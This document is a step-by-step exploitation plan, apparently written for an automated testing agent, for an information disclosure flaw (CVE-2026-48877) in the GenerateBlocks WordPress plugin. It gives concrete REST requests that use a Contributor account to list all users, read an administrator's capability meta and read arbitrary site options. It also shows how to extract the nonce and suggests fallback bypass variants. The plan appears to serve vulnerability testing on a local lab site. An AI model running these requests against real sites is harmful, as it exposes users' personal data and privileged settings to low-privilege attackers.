GenerateBlocks <= 2.1.0 - Authenticated (Contributor+) Information Disclosure

This plan details the process for exploiting CVE-2026-48877, an information disclosure vulnerability in GenerateBlocks.

1. Vulnerability Summary

The vulnerability exists in the REST API implementation of GenerateBlocks. The classes GenerateBlocks_Meta_Handler and GenerateBlocks_Query_Utils register several endpoints that allow fetching post meta, user meta, site options, and performing user queries. These endpoints are accessible to any user with the edit_posts capability (Contributor role and above).

The core issue is twofold:

1. Arbitrary Meta/Option Retrieval: The get_meta function in GenerateBlocks_Meta_Handler uses a blacklist (DISALLOWED_KEYS) that only blocks post_password, password, and user_pass. It fails to protect other sensitive meta keys (e.g., wp_capabilities, session_tokens) or sensitive site options.
2. Unrestricted User Querying: The get_user_query method in GenerateBlocks_Query_Utils passes user-supplied arguments directly into new WP_User_Query($args), allowing an attacker to list all users and their associated data.

2. Attack Vector Analysis

• Endpoints:
  • POST /wp-json/generateblocks/v1/get-user-query
  • GET /wp-json/generateblocks/v1/meta/get-user-meta
  • GET /wp-json/generateblocks/v1/meta/get-option
• Authentication: Authenticated (Contributor+).
• Required Capability: edit_posts (Verified in permission_callback in includes/class-meta-handler.php and includes/class-query-utils.php).
• Payloads:
  • get-user-query: JSON body containing args for WP_User_Query.
  • get-user-meta: Query parameters id (User ID) and key (Meta key).
  • get-option: Query parameter key (Option name).

3. Code Flow

For get-user-query:

1. GenerateBlocks_Query_Utils::register_rest_routes registers /get-user-query (POST).
2. The callback get_user_query(WP_REST_Request $request) is invoked.
3. $args = $request->get_param( 'args' ) ?? []; retrieves the query parameters.
4. $query = new WP_User_Query( $args ); executes the query with attacker-controlled parameters.
5. $query->get_results() returns the full user objects to the attacker.

For get-user-meta:

1. GenerateBlocks_Meta_Handler::register_rest_routes registers /meta/get-user-meta (GET).
2. The callback get_user_meta_rest (inferred implementation) calls self::get_meta.
3. get_meta( $id, $key, $single_only, $callable, ... ) is called with $callable = 'get_user_meta'.
4. The function checks if $key is in DISALLOWED_KEYS (post_password, password, user_pass).
5. If not blocked, it calls call_user_func( 'get_user_meta', $id, $parent_name, true ).
6. The result is returned, potentially leaking sensitive meta like wp_capabilities.

4. Nonce Acquisition Strategy

Since the attacker must be a Contributor, they can access the WordPress admin dashboard (/wp-admin/). The WordPress REST API requires an X-WP-Nonce header for authenticated requests.

1. Login: Authenticate as a Contributor.
2. Navigate: Navigate to /wp-admin/index.php.
3. Extract Nonce: Use browser_eval to extract the REST nonce from the standard WordPress global object.
   • JavaScript: window.wpApiSettings.nonce

5. Exploitation Strategy

Step 1: List All Users

• Tool: http_request
• Method: POST
• URL: http://vulnerable-wp.local/wp-json/generateblocks/v1/get-user-query
• Headers:
  • Content-Type: application/json
  • X-WP-Nonce: [EXTRACTED_NONCE]
• Body: {"args": {"number": 100}}
• Goal: Obtain the list of all user IDs, especially the administrator's ID.

Step 2: Disclose Administrator Meta

• Tool: http_request
• Method: GET
• URL: http://vulnerable-wp.local/wp-json/generateblocks/v1/meta/get-user-meta?id=[ADMIN_ID]&key=wp_capabilities
• Headers:
  • X-WP-Nonce: [EXTRACTED_NONCE]
• Goal: Confirm the ability to read sensitive user meta (roles/capabilities).

Step 3: Disclose Sensitive Site Option

• Tool: http_request
• Method: GET
• URL: http://vulnerable-wp.local/wp-json/generateblocks/v1/meta/get-option?key=admin_email
• Headers:
  • X-WP-Nonce: [EXTRACTED_NONCE]
• Goal: Confirm the ability to read arbitrary site options.

6. Test Data Setup

1. Install Plugin: Ensure GenerateBlocks 2.1.0 is active.
2. Create Users:
   • Admin user (ID 1).
   • Contributor user (e.g., attacker / password).
3. Create Content: Ensure at least one post exists so the Contributor has basic access.

7. Expected Results

• get-user-query: Returns a JSON array of user objects containing user_login, user_nicename, user_email, and ID.
• get-user-meta: Returns the serialized capability string for the requested user (e.g., a:1:{s:13:"administrator";b:1;}).
• get-option: Returns the value of the requested option (e.g., admin@example.com).

8. Verification Steps

After the exploit, use wp-cli to verify that the returned data matches the database:

• wp user list --fields=ID,user_login,user_email (Compare with get-user-query output).
• wp user meta get 1 wp_capabilities (Compare with get-user-meta output).
• wp option get admin_email (Compare with get-option output).

9. Alternative Approaches

If get-user-meta requires specific parameters not fully captured in the snippet, try variations:

• Check if the endpoint expects the meta key in dot notation to bypass simple checks: key=some_array.property.
• Try get-term-meta if taxonomies are used: GET /wp-json/generateblocks/v1/meta/get-term-meta?id=1&key=description.
• If X-WP-Nonce is rejected, verify the user session cookies are correctly passed in the http_request.